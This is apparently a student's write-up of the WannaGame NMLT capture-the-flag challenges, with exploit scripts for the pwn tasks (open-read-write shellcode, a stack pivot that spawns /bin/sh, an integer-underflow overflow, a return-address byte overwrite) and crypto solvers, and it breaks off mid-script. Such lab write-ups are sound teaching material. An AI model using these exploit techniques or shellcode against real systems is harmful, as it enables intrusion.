---
# System prepended metadata

title: WannaGame NMLT

---

# WannaGame NMLT



| Challenge           | Category  | Score |
|---------------------|-----------|-------|
| **Hello pwner**     | Pwn       | 0     |
| **Guess Me**        | Pwn       | 248   |
| **orw32**           | Pwn       | 736   |
| **orw64**           | Pwn       | 736   |
| **sint**            | Pwn       | 487   |
| **pivot**           | Pwn       | 854   |
| **Guess Me V2**     | Pwn       | 1000  |
| **substitution**    | Crypto    | 214   |
| **hix**             | Crypto    | 221   |
| **DH**              | Crypto    | 308   |
| **GiacMoTrua2**     | Reverse   | 217   |
| **Easy Flag Checker**| Reverse  | 217   |
| **GiacMoTrua1**     | Reverse   | 239   |


## Pwn

### Hello pwner
![image](https://hackmd.io/_uploads/Hk-IRanHkl.png)
![image](https://hackmd.io/_uploads/H1OeTFwL1g.png)
Visit [there](https://syscalls64.paolostivanin.com/) to know how to use syscall.
![image](https://hackmd.io/_uploads/HyichFDLJx.png)
rax = 0x01 mean you call syscall write
rdi = 0x01 is File descriptor (stdout)
rsi = the string or something that you want to print out
rdx = the size of the output

With the calling syscall 60 you can also look at the link that i have send before to know what is it :smile_cat: 

Flag: W1{welcome_to_assembly}

### Guess Me
![image](https://hackmd.io/_uploads/HyTfKTpSJx.png)

![image](https://hackmd.io/_uploads/ByzOkChSJl.png)
Checksec of this challenge

```c 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v5; // [rsp+10h] [rbp-10h]
  unsigned int v6; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  signal(14, handle_alarm);
  v6 = rand() % 100000000 + 1;
  v5 = 27;
  puts("Welcome to the Guessing Game!");
  printf("You have %u attempts to guess the number between 1 and %d.\n", 27LL, 100000000LL);
  puts("You also have 4 seconds before the game ends!\n");
  puts("Good luck!\n");
  while ( (int)v5 > 0 )
  {
    printf("Attempts left: %u\n", v5);
    printf("Enter your guess: ");
    if ( (unsigned int)__isoc99_scanf("%u", &v4) == 1 && v4 > 0 )
    {
      if ( v6 == v4 )
      {
        read_flag();
        printf("Congratulations! You guessed the correct number: %u.\n", v6);
        printf("Here is your flag: %s\n", flag);
        break;
      }
      if ( (int)v6 <= v4 )
        puts("Too high! Try again.");
      else
        puts("Too low! Try again.");
      --v5;
    }
    else
    {
      puts("Invalid input! Please enter a positive integer.");
      while ( getchar() != 10 )
        ;
    }
  }
  if ( !v5 )
    printf("\nGame Over! The correct number was %u.\n", v6);
  return 0;
}
```
After reversing the file, it's just a basic binary search challenge
```python 
from pwn import * 
# ip = 
# port = 
# p = remote(ip, port)
p = process('./chall')
l = 1
r = 100000000
recv = p.recvuntil(b'Good luck!\n')
recv = p.recvline()
print(recv)
while l <= r: 
    mid = (l + r) // 2
    recv = p.recvline()
    print(recv)
    p.sendline(str(mid))
    print(str(mid))
    recv = p.recvline()
    print(recv)

    if b'Too high! Try again.' in recv:
        r = mid - 1
    elif b'Too low! Try again.' in recv:
        l = mid + 1
    else:
        break

# gdb.attach(p)
p.interactive()
```
This is my script
Flag: ```flag{BiNaRy_sEaRcH _iS_FuN_RiGhT_?}```

### orw32
![image](https://hackmd.io/_uploads/BkbgdTaSkl.png)
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
void * shellcode;

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_KILL);
  if (ctx == NULL) {
    printf("seccomp error\n");
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
  seccomp_load(ctx);
}

int main(void){
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  shellcode = mmap(0, 0x1000,PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
  if(shellcode == (void*)-1){
    perror("mmap failed. Exiting");
    exit(-1);
  }
  printf("Input your shellcode: ");
  read(STDIN_FILENO, shellcode, 0x1000);
  sandbox();
  ((void (*)(void))shellcode)();
  return EXIT_SUCCESS;
}
```

After reversing it, the thing that I need to do is just only use some syscall that in sandbox() allow to read flag.txt.

```asm
from pwn import *
shellcode = asm("""
        xor 	eax, eax
        xor 	ecx, ecx
        mov 	eax, 0x5
        push 	ecx
        push    0x7478742e         
        push    0x67616c66      
        mov 	ebx, esp
        int 	0x80

        mov 	ecx, ebx
        mov     ebx, eax
        mov 	eax, 0x3
        mov 	edx, 0x100
        int 	0x80

        mov     edx, eax
        mov 	eax, 0x4
        mov 	ebx, 0x1
        int     0x80   

        mov     eax, 0x1
        mov     ebx, 0
        int     0x80
""", arch = 'i386')

r = process("./orw")
# r = remote("chall.w1playground.com",13111)
r.sendline(shellcode)
r.interactive()
```
This is my script. 
Flag: W1{3eee77de7272c6a53d5566648d93a270dd5a3d4a22d008973bc5e50c3f634ed1} 
![image](https://hackmd.io/_uploads/ryPROa6Byl.png)

I also spend a lot of time doing this challenge because my coding skill issue, I forgot something in sys_read so it can't give me the flag but it still work in local :smile:

### orw64
![image](https://hackmd.io/_uploads/BJYAiuRBye.png)
Still the same with orw32, you just need to change code from 32bit to 64bit

```python 
from pwn import *

shellcode = asm("""
        xor     rax, rax
        mov     rdi, -100         
        lea     rsi, [rip+filename]
        xor     rdx, rdx
        mov     rax, 257          
        syscall

        mov     rdi, rax          
        lea     rsi, [rsp]        
        mov     rdx, 0x100        
        xor     rax, rax          
        syscall

        mov     rdx, rax          
        mov     rax, 1           
        mov     rdi, 1           
        syscall

        xor     rax, rax
        mov     rax, 60           
        xor     rdi, rdi          
        syscall

    filename:
        .ascii "flag.txt\\0"
""", arch='amd64')

# p = process("./orw")
p = remote("chall.w1playground.com", 19344)
p.sendline(shellcode)
p.interactive()
```

Flag: W1{6887a32dc67c303c7a6cba79d0c95131be48186ac9342877345d6b83aa58ddc6}


### pivot 
![image](https://hackmd.io/_uploads/HyiU9eyIJg.png)

![image](https://hackmd.io/_uploads/S1joqg1Ukx.png)
``` 
Dump of assembler code for function main:
   0x00000000004012c1 <+0>:     endbr64
   0x00000000004012c5 <+4>:     push   rbp
   0x00000000004012c6 <+5>:     mov    rbp,rsp
   0x00000000004012c9 <+8>:     sub    rsp,0x20
   0x00000000004012cd <+12>:    mov    DWORD PTR [rbp-0x14],edi
   0x00000000004012d0 <+15>:    mov    QWORD PTR [rbp-0x20],rsi
   0x00000000004012d4 <+19>:    mov    eax,0x0
   0x00000000004012d9 <+24>:    call   0x4011d6 <init>
   0x00000000004012de <+29>:    mov    edi,0x100000
   0x00000000004012e3 <+34>:    call   0x4010d0 <malloc@plt>
   0x00000000004012e8 <+39>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004012ec <+43>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004012f0 <+47>:    add    rax,0x1000
   0x00000000004012f6 <+53>:    mov    QWORD PTR [rbp-0x10],rax
   0x00000000004012fa <+57>:    mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004012fe <+61>:    mov    rdi,rax
   0x0000000000401301 <+64>:    call   0x40123c <pwn>
   0x0000000000401306 <+69>:    mov    eax,0x0
   0x000000000040130b <+74>:    leave
   0x000000000040130c <+75>:    ret
```

```
Dump of assembler code for function init:
   0x00000000004011d6 <+0>:     endbr64
   0x00000000004011da <+4>:     push   rbp
   0x00000000004011db <+5>:     mov    rbp,rsp
   0x00000000004011de <+8>:     mov    rax,QWORD PTR [rip+0x2e3b]        # 0x404020 <stdin@@GLIBC_2.2.5>
   0x00000000004011e5 <+15>:    mov    ecx,0x0
   0x00000000004011ea <+20>:    mov    edx,0x2
   0x00000000004011ef <+25>:    mov    esi,0x0
   0x00000000004011f4 <+30>:    mov    rdi,rax
   0x00000000004011f7 <+33>:    call   0x4010e0 <setvbuf@plt>
   0x00000000004011fc <+38>:    mov    rax,QWORD PTR [rip+0x2e0d]        # 0x404010 <stdout@@GLIBC_2.2.5>
   0x0000000000401203 <+45>:    mov    ecx,0x0
   0x0000000000401208 <+50>:    mov    edx,0x2
   0x000000000040120d <+55>:    mov    esi,0x0
   0x0000000000401212 <+60>:    mov    rdi,rax
   0x0000000000401215 <+63>:    call   0x4010e0 <setvbuf@plt>
   0x000000000040121a <+68>:    nop
   0x000000000040121b <+69>:    pop    rbp
   0x000000000040121c <+70>:    ret
```

```
Dump of assembler code for function pwn:
   0x000000000040123c <+0>:     endbr64
   0x0000000000401240 <+4>:     push   rbp
   0x0000000000401241 <+5>:     mov    rbp,rsp
   0x0000000000401244 <+8>:     sub    rsp,0x30
   0x0000000000401248 <+12>:    mov    QWORD PTR [rbp-0x28],rdi
   0x000000000040124c <+16>:    mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000401250 <+20>:    mov    rsi,rax
   0x0000000000401253 <+23>:    lea    rdi,[rip+0xdaa]        # 0x402004
   0x000000000040125a <+30>:    mov    eax,0x0
   0x000000000040125f <+35>:    call   0x4010b0 <printf@plt>
   0x0000000000401264 <+40>:    lea    rdi,[rip+0xda8]        # 0x402013
   0x000000000040126b <+47>:    mov    eax,0x0
   0x0000000000401270 <+52>:    call   0x4010b0 <printf@plt>
   0x0000000000401275 <+57>:    mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000401279 <+61>:    mov    edx,0xff
   0x000000000040127e <+66>:    mov    rsi,rax
   0x0000000000401281 <+69>:    mov    edi,0x0
   0x0000000000401286 <+74>:    call   0x4010c0 <read@plt>
   0x000000000040128b <+79>:    lea    rdi,[rip+0xd93]        # 0x402025
   0x0000000000401292 <+86>:    mov    eax,0x0
   0x0000000000401297 <+91>:    call   0x4010b0 <printf@plt>
   0x000000000040129c <+96>:    lea    rax,[rbp-0x20]
   0x00000000004012a0 <+100>:   mov    edx,0x32
   0x00000000004012a5 <+105>:   mov    rsi,rax
   0x00000000004012a8 <+108>:   mov    edi,0x0
   0x00000000004012ad <+113>:   call   0x4010c0 <read@plt>
   0x00000000004012b2 <+118>:   lea    rdi,[rip+0xd7c]        # 0x402035
   0x00000000004012b9 <+125>:   call   0x401090 <puts@plt>
   0x00000000004012be <+130>:   nop
   0x00000000004012bf <+131>:   leave
   0x00000000004012c0 <+132>:   ret
```

```
Dump of assembler code for function run_command:
   0x000000000040121d <+0>:     endbr64
   0x0000000000401221 <+4>:     push   rbp
   0x0000000000401222 <+5>:     mov    rbp,rsp
   0x0000000000401225 <+8>:     sub    rsp,0x10
   0x0000000000401229 <+12>:    mov    QWORD PTR [rbp-0x8],rdi
   0x000000000040122d <+16>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401231 <+20>:    mov    rdi,rax
   0x0000000000401234 <+23>:    call   0x4010a0 <system@plt>
   0x0000000000401239 <+28>:    nop
   0x000000000040123a <+29>:    leave
   0x000000000040123b <+30>:    ret
```
```c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>



void init(){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
}

void run_command(char * command){
  system(command);
}

void pwn(char * a1){
  char essay[32];
  printf("Your gift: %p\n", a1);
  printf("Enter your name: ");
  read(STDIN_FILENO, a1, 255);
  printf("Your password: ");
  read(STDIN_FILENO, essay, 0x32);
  puts("Wrong password!!!!");
}

int main(int argc, char *argv[]){
  init();
  char *blank = malloc(0x100000);
  char *buf = blank + 0x1000;
  pwn(buf);
  return EXIT_SUCCESS;
}
```
First of all we need to checksec and reverse the file.

After reversing it, it's easy for everyone to see that the function **run_command** is the most important function that we need to 'join' and try to call **system("/bin/sh")**. So the thing we need to do is make the **command (rax)** become the pointer of the string **/bin/sh** 

P/s : in the first I try to make the **command(rax)** become **/bin/sh** instead of the pointer so it meaningless

Look at the **pwn** function, the array essay just have 32 char but you can also type **0x32** byte (50 byte) -> you can use it to return to another function (maybe **run_command**) or **rop chain**, my choice is **ret2win**
![image](https://hackmd.io/_uploads/rykAk-k8ye.png)
While entering essay array, my **aaaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal** and it's very easy for you to see that after entering, the rbp is **gaaahaaa** and the rsp is **iaaajaaa** so we the offset is **8 * 5 = 32** (just use to change rsp)

```python 
from pwn import *

p = process('./pivot')
# p = remote('chall.w1playground.com',54444)
p.recvuntil(b'Your gift: ')
stack_leak = int(p.recvline(), 16)
run_command = 0x40121D
print(hex(stack_leak))                   
payload = p64(0x00) * 5 + p64(run_command)
p.sendline(p64(0x00))
gdb.attach(p)
p.sendline(payload)
p.interactive()
```
My script at first to connect to **run_command**

![image](https://hackmd.io/_uploads/HJDFlZ1LJl.png)
And it also can reach to **run_command**

![image](https://hackmd.io/_uploads/S1m2xb1IJl.png)
![image](https://hackmd.io/_uploads/Hk8pl-yL1e.png)

But it's bug because **stack alignment** then i try a lot of way to put one more **ret** before reach to **run_command** because **rax** have also the pointer of the string "/bin/sh" but i can't solve with that idea, so i have try to skip some step in **run_command**
Eg: 
![image](https://hackmd.io/_uploads/B1kBzZyL1g.png)

But it have bug because of [rbp - 8] and **rax** can not be **mov** to the pointer of the string so i'm stuck.... but i have remembered that we also have another array can be use it's **buf** by using rbp (let rbp bring the address of **buf** array)

My new script:
```python 
from pwn import *

p = process('./pivot')
# p = remote('chall.w1playground.com',54444)
p.recvuntil(b'Your gift: ')
stack_leak = int(p.recvline(), 16)
run_command = 0x40121D
print(hex(stack_leak))                   
payload = p64(0x00) * 4 + p64(stack_leak) + p64(run_command + 16)
bin_sh = "/bin/sh"  
p.sendline(bin_sh.encode('ascii'))
gdb.attach(p)
p.sendline(payload)
p.interactive()
```

But it's still bug because of the reason that i have mentioned before (confused between string pointer and string)
![image](https://hackmd.io/_uploads/S1s-XbJ8kx.png)

When i realized that i let rax to be the pointer of the string and the string stay next to it :smile_cat: 

My last script:
```python 
from pwn import *

# p = process('./pivot')
p = remote('chall.w1playground.com',54444)
p.recvuntil(b'Your gift: ')
stack_leak = int(p.recvline(), 16)
run_command = 0x40121D
print(hex(stack_leak))                   
payload = p64(0x00) * 4 + p64(stack_leak + 8) + p64(run_command + 16)
bin_sh = "/bin/sh"  
p.sendline(p64(stack_leak + 8) + bin_sh.encode('ascii'))
# gdb.attach(p)
p.sendline(payload)
p.interactive()
```

Then i got flag
![image](https://hackmd.io/_uploads/BkpQV-k8kx.png)


Flag: W1{191ef974e018f68f5907dbb58aaecb67d801bcfdd054113ac504a10fa923e24d}

### sint
![image](https://hackmd.io/_uploads/SJs4MElI1x.png)
![image](https://hackmd.io/_uploads/HyGpGEg81l.png)
```c 
ssize_t pwn()
{
  unsigned int v1; // [esp+Ch] [ebp-10Ch] BYREF
  char buf[260]; // [esp+10h] [ebp-108h] BYREF

  v1 = 0;
  printf("Size: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0x101 )
  {
    puts("Buffer Overflow!");
    exit(0);
  }
  printf("Data: ");
  return read(0, buf, v1 - 16);
}
```
```c 
void __noreturn win()
{
  system("cat flag.txt");
  exit(-1);
}
```
After reversing and checksec-ing, the thing we need to do is try some way to reach **win()** function and i guess the bug of this challenge is BOF because v1 is insigned number so what if v1 = 0 => v1 - 16 = -16 ?
![image](https://hackmd.io/_uploads/HyCKvVxIyx.png)
v1 - 16 = 0xfffffff0 (0x0 - 0x10).
So what **read(0, buf, 0xfffffff0)** (0xfffffff0 > 260) so it will have BOF. So the next thing i need to do is calculate the offset to ret address and i have spammed the address of **win()** 100 times and i got flag :smile_cat: 

My script:
```python 
from pwn import *
host = 'chall.w1playground.com'
port = 40011
p = remote(host, port)
# p = process('./sint')
payload = b'0'
p.sendline(payload)
# gdb.attach(p)
payload = b'\x8B\x92\x04\x08' * 100
p.sendline(payload)
# gdb.attach(p)
p.interactive()
```
![image](https://hackmd.io/_uploads/HyP6_ExLkx.png)

Flag: W1{dbd4664aaa39cbe0e15ac1feeed0bb68b13e2d50698d2d47c4e5c84e32e31548}

### GuessMeV2
![image](https://hackmd.io/_uploads/rkgSusXUJl.png)
![image](https://hackmd.io/_uploads/SkG8OjmLkg.png)
```c 
unsigned __int64 play()
{
  char v1; // [rsp+3h] [rbp-1Dh] BYREF
  int v2; // [rsp+4h] [rbp-1Ch] BYREF
  int v3; // [rsp+8h] [rbp-18h] BYREF
  unsigned int offset; // [rsp+Ch] [rbp-14h]
  int *v5; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v2 = randomnumber;
  v5 = &v2;
  puts("I give you one chance to modify one byte value of randomnumber variable.");
  puts("You can only modify 1 byte of randomnumber variable.");
  printf("Enter the byte offset you want to modify (0-3): ");
  offset = get_offset();
  printf("Enter the new byte value: ");
  if ( (unsigned int)__isoc99_scanf("%hhu", &v1) != 1 )
  {
    puts("Invalid input! Please enter a byte value.");
    exit(0);
  }
  *((_BYTE *)v5 + offset) = v1;
  while ( 1 )
  {
    printf("Enter your guess: ");
    if ( (unsigned int)__isoc99_scanf("%u", &v3) == 1 && v3 > 0 )
      break;
    puts("Invalid input! Please enter a positive integer.");
    while ( getchar() != 10 )
      ;
  }
  if ( v3 == v2 )
  {
    read_flag();
    printf("Congratulations! You guessed the correct number: %u.\n", (unsigned int)randomnumber);
    printf("Here is your flag: %s\n", flag);
    exit(0);
  }
  if ( v3 >= v2 )
    puts("Too high! See you again.");
  else
    puts("Too low! See you again.");
  if ( randomnumber == -559038737 )
    trade_flag();
  return v6 - __readfsqword(0x28u);
}
```
```c 
__int64 get_offset()
{
  __int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF

  v1[1] = __readfsqword(0x28u);
  if ( (unsigned int)__isoc99_scanf("%ld", v1) != 1 || v1[0] > 3 )
  {
    puts("You must be a hacker");
    exit(0);
  }
  return v1[0];
}
```
```c 
int read_flag()
{
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("./flag.txt", 0);
  if ( fd < 0 )
  {
    puts("Error open file");
    exit(0);
  }
  read(fd, flag, 0x64uLL);
  return close(fd);
}
```
```c 
void __noreturn trade_flag()
{
  puts("What the fuck?!");
  puts("You found the secret function!");
  puts("Skibidibi dib yo da dub dub!");
  puts("Doggo says: \"I'm pickle Rick!\"");
  puts("Pickle ball pickle ball pickle ball!");
  execve(username, &age, &envp);
  exit(0);
}
```
I spend most of the time to find  -bug in this challenge. The bug is in **get_offset**, i can input the negative number, so i can change any byte of the address which stand before **v5** like this 
![image](https://hackmd.io/_uploads/SJ67qoXUkl.png)
Look at the green row, you can the that rax = (0x7fffffffe4f4 + 0x0) because when the chall ask me **'Enter the new byte value: want to modify (0-3): Enter your age:  '** then i enter value 0 so **(0x7fffffffe4f4 + 0x0) still 0x7fffffffe4f4** but what if i try with a negative number
![image](https://hackmd.io/_uploads/BkBXt5wLkl.png)
The value that i have entered is **-100** so why there is **0xffffff9c** but not **-0x44** ?
![image](https://hackmd.io/_uploads/Syt2tcv81e.png)
This is the reason :v: 
At fist, i think the author of this challenge want the player solve by changing GOT so i decided to learn it for a day but that teachnique is not the solution for this challenge :smile_cat: so i debug more carefully.
![image](https://hackmd.io/_uploads/S1jeiomU1e.png)
In the end of play function, it return to **0x4018f7** (rbp + 008) which is the value of [0x7fffffffe4e8] and of course **0x7fffffffe4e8** is standing before **v5**, so i can change the value of it and it can return to another place but i just can replace 1 byte so i need to find any place have address **0x40xxf7** or **0x4018xx**. I have think about jumping into **trade_flag()** and **read_flag()** but **read_flag()** is more convenient because i need not to ready **username** and **age** to **execve**. Luckily the address of **read_flag()** is **0x4016f7** so i can change the second byte of **rbp + 008** into **0x4016f7** 
![image](https://hackmd.io/_uploads/B195JnQIJl.png)
![image](https://hackmd.io/_uploads/H1f313XUke.png)
Calculate a little bit the distance from the top of the stack to **rbp + 008** (+1 because i need to change the second byte and 22 is 0x16)
![image](https://hackmd.io/_uploads/BkIWe378yx.png)
Flag: W1{https://www.youtube.com/watch?v=MFhxShGxHWc}

## Crypto

### Substitution

```python 
KEY = {
    'A': 'Q', 'B': 'W', 'C': 'E', 'D': 'R', 'E': 'T', 'F': 'Y', 'G': 'U', 'H': 'I', 'I': 'O',
    'J': 'P', 'K': 'A', 'L': 'S', 'M': 'D', 'N': 'F', 'O': 'G', 'P': 'H', 'Q': 'J', 'R': 'K',
    'S': 'L', 'T': 'Z', 'U': 'X', 'V': 'C', 'W': 'V', 'X': 'B', 'Y': 'N', 'Z': 'M',
    'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o',
    'j': 'p', 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k',
    's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm',
}

def hehe(data, key):
    return ''.join(key.get(char, char) for char in data)

def encrypt(plaintext):
    substituted = hehe(plaintext, KEY)
    return substituted

if __name__ == "__main__":
    plaintext = "W1{???????????????}"
    encrypted = encrypt(plaintext)
    with open("encrypted.txt", "w") as f:
        f.write(encrypted)
```

encrypted.txt = V1{lxwlzozxzogf}

I put both of them to chatgpt and ask them the answer of this chall :smile_cat: 
![image](https://hackmd.io/_uploads/ryAF_1pBJl.png)
Flag: W1{substitution}

### HIX
![image](https://hackmd.io/_uploads/B11B4mWUye.png)
I put every thing that i can download into ChatGPT and ask it to give me the sources that can solve the problem :smile_cat: 
```python3 
import hashlib
import random
import string

# Các phương thức hash ngẫu nhiên
methods = ['md5', 'sha256', 'sha3_256', 'sha3_512', 'sha3_384', 'sha1', 'sha384', 'sha3_224', 'sha512', 'sha224']

def random_encrypt(x):
    method = random.choice(methods)
    hash_obj = hashlib.new(method)
    hash_obj.update(x.encode())
    return hash_obj.hexdigest()

# Mã hóa ngược với phép cộng thêm 20 vào giá trị ASCII
def decrypt_step(char_encrypted):
    # Thử với tất cả các ký tự có thể có
    for c in string.printable:  # Sử dụng tất cả ký tự in được
        # Giải mã bước 1: Thử tìm ra giá trị ASCII của ký tự gốc
        x = (ord(c) + 20) % 130
        # Băm lại giá trị đó bằng SHA-512
        sha512_hash = hashlib.sha512(str(x).encode()).hexdigest()
        # Sử dụng random_encrypt để kiểm tra có trùng khớp không
        if random_encrypt(sha512_hash) == char_encrypted:
            return c  # Trả về ký tự tìm được
    return None

# Hàm giải mã toàn bộ flag
def decrypt_flag(ct):
    # Tạo biến chứa flag có chiều dài tương đương với ct
    flag = ["?"] * len(ct)  # Dài bằng số lượng phần tử trong ct

    # Số lần lặp lại để thử giải mã
    attempts = 0
    while "?" in flag and attempts < 1000:  # Giới hạn số lần thử
        attempts += 1
        for i, encrypted_char in enumerate(ct):
            decrypted_char = decrypt_step(encrypted_char)
            if decrypted_char:
                # Thay thế dấu "?" ở vị trí tương ứng
                if flag[i] == "?":  # Chỉ thay thế khi là dấu chấm hỏi
                    flag[i] = decrypted_char
        print("Attempt:", attempts, "".join(flag))  # In ra trạng thái của flag mỗi lần thử

    return "".join(flag)

# Chuỗi mã hóa bạn cung cấp
ct = [
    'f189636f8eef640b55d03387864fd17efd324453cc9276be5ff6bd4da88b13fca72438daaab00830a6d14330d37c0f7bee1e7c32d5dda0541a171f66a2343dc1',
    '1388cafa58065fa0c04372ce57f303cc4ec9fe62',
    'f6266e2849bf8b8575701814cc3f3eb5369e887db54b34e85b1e4608b4fbf5e5',
    '31f33ac191e818db784cf8321d70f84763db2b2e599f90cf65868eec85a10f20ae0e23aa1cd48c2f13eec355b2975089490761a291ac2a1bcf33f5fbecead431',
    '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5',
    'f06ffaaa6290bf47d26ba2c09c28dddd8f5bcad6ac464ec17fea48040acf1214d10bc109b7c47cffddb6bccd6b61b61a9e629a8f47ab26b80593f29c8c297489',
    'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f',
    '85245de371c327440a5f343f27d6df361225806e679950bab3a5a336',
    'ea1923e909de3c3c3384ad9ae7696d73',
    '21df20aab35967470aada32375f535d4a735789bf0789fd421f85163c4d75c6e',
    'b9491ae1a9de40d30a86c00139bd7d6f496f5bf4ce013bc2d5a43a97',
    '03f061f60f3527b15ff31d31dcce0761',
    '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5',
    'f2a1a7e9dd5e6363050b0cdb0579ebfebdc5e348ab538bdcf47616139351cf2b9f92cb4d14446b3ad8bf182875b81e75',
    '24aaafc58a2b897aed5829b2e96d73b1de7cd680d76a1143cdc8baef',
    '6d80d11e5f1161ef86619dcdb186852b5218d6ac224b81b63555fe73741631c36ae0bcb5b3228fbed796c22dedeed587c9d65ddb825aee4fae92b6619e7ffd8f',
    '6f8b39550106044625102ee0cabf9fe1393f0013388633d5742fcc7e8df7708793a96885b9d18b795a2b0d9014704b9f',
    'ddf3c543be9cac44f3af078583fe5fddb64104d93308c146c23f52ff25b2a6e23606c42dc0060a4dd9b11b446759cb5de1844471eb3d6d25c43c6fcc0d8d60c4',
    '95f2739053cf64555b0c0662b5e2d63822433f7fcac6960de6d57efda427461a58c6e2ffac6da6f4caa9407df10cc0be',
    'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23',
    'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f',
    '2b4561a521a82af6a26dfb76078ca97ba53a720f7ee67d923a6d3a13',
    'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e',
    'd798a32b52384219f8779dccf8b2173f4b73f075cbeb4507ee83c94e',
    'b863fa3492fb87edcdef766f38a508ed',
    '9f876db4b58c1b7e499f35cdbd533a810060a0c8250bfc5421e0f42b2715b027',
    '4b14748ba0f3da581ddd7ec49dac41d34ea1ee6dae90818333b11501',
    '85153b2a5f8dea7f5488906cb65d61e9ac0666057636ff6b356dd4d8d0fc5d20',
    '6b91d6259827176bcb3f312a8faca297e56c7e627235b930cf8163b3e7a5328b',
    'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e',
    '4c8740f90af1055f194a4c8e1b69522da228812465eb72b82b35c927bc48bf9d',
    'b248b6b2f2c9365aa9a0e9b37a8057effd29bb2f34c79ec0b40124d08986832b5d227db95cb97b176541589985762d9a',
    '7260f9b5d1c58d0609523114ed324f396335d940f852dba558461b34c5a53630',
    'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23',
    '1077caf3ed754ed8fbd49c76134906e8',
    'f3565219d115ec74a85056997cc25e98e3e4912a31c858c1e45b841047698e93',
    '83315b8fa07a35b12e3f47ebb365268b4a4a8ef2',
    '64c008d6460c2b98aba616b1d0d11a06b9df564b87d3aeedda83b36aacd3d0c160465109eb06c62e86e360cf026faa27a616dbbf2bec269be9ad128af96073bb',
    '60bbd94b3ac3ea7149fc6cd850d72d4f1750601275832815dd9a23d4c3757d84aca29d716da5dd72a0045f15ff969925',
    '94327e8c8321421e72f52cd726336e824630ec7dda31b07ce83f11b8234aea7a',
    'a69ef62254280226cc4223a2341c727afcd7ce4e3ffd3f2f1c57d9d3cd30659b52b1c2b56f911a7157041b5f0ff8176f',
    '3c904622c8d8d79c6704d50ae0175b049b3a5708705ecdce932fe426b9f46f1bd6585b8288c1d38f6301c31af5feac02',
    'a3939bf491ffd9824056e249d6e355d8423855f0'
]

# Giải mã flag từ danh sách mã hóa
flag = decrypt_flag(ct)
print("Final Flag:", flag)
```
Then i run it
![image](https://hackmd.io/_uploads/H1wKVXZIJl.png)
Flag: W1{are_you_trying_to_predict_randomness@_@}

### DH
![image](https://hackmd.io/_uploads/H111C7-IJl.png)
Same with some crypto challenge before i just put everything into chatGPT and ask them to help me. But it have some problem about the time so i read carefully and this problem is nearly same with a problem that i and my team have solved before in **1337** so i also ask chatGPT to help me solve it with meet-in-the-middle algorithm.
```python 
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse
from math import isqrt

# Baby-step Giant-step (BSGS) Algorithm to find b such that g^b ≡ B (mod p)
def bsgs(g, B, p, max):
    m = isqrt(max) + 1  # Step 1: Compute m = ceil(sqrt(p))
    
    # Baby step: Precompute g^j mod p for j in [0, m-1]
    baby_steps = {}
    current = 1
    for j in range(m):
        baby_steps[current] = j
        current = (current * g) % p
    
    # Giant step: Precompute g^(-m) mod p and search for a match
    g_m_inv = mod_inverse(pow(g, m, p), p)
    current = B
    for i in range(m):
        if current in baby_steps:
            return i * m + baby_steps[current]
